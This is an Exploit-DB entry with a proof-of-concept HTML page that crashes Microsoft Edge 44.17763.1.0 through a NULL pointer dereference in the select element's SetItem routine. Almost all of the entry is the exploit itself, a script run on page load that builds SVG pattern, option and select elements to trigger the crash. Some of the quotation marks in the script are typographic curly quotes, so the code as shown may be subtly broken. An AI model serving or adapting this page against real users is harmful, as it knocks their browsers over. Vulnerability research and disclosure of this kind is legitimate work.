Microsoft Edge 44.17763.1.0 - NULL Pointer Dereference

EDB-ID:

46078

CVE:

N/A


Platform:

Windows

Published:

2019-01-07

<!--
# Exploit Title: Microsoft Edge 44.17763.1.0 NULL Pointer Dereference. Denial of Service (PoC)
# Google Dork: N/A
# Date: 2018-11-14
# Exploit Author: Bogdan Kurinnoy (b.kurinnoy@gmail.com)
# Vendor Homepage: https://www.microsoft.com/
# Version: Microsoft Edge 44.17763.1.0 (Microsoft EdgeHTML 18.17763)
# Tested on: Windows 10 x64
# CVE : N/A

# Description:

# Access violation while reading memory at 0x2D0 using a NULL ptr edgehtml!CSelectElement::SetItem+0x190

# https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/19625211/


PoC.html
-->

<html>

<head>

<script>

function f1() {
	
	try {var v1 = eventhandler1; } catch(e) { }

	var v2 = document.createElementNS("http://www.w3.org/2000/svg", “pattern”);

	v2.addEventListener("1", v1);

	var v3 = document.createElement(“option”);

	var v4 = document.createElement(“select”);

	v4[4] = v3;

}

</script>

</head>

<body onload=f1()>

</body>

</html>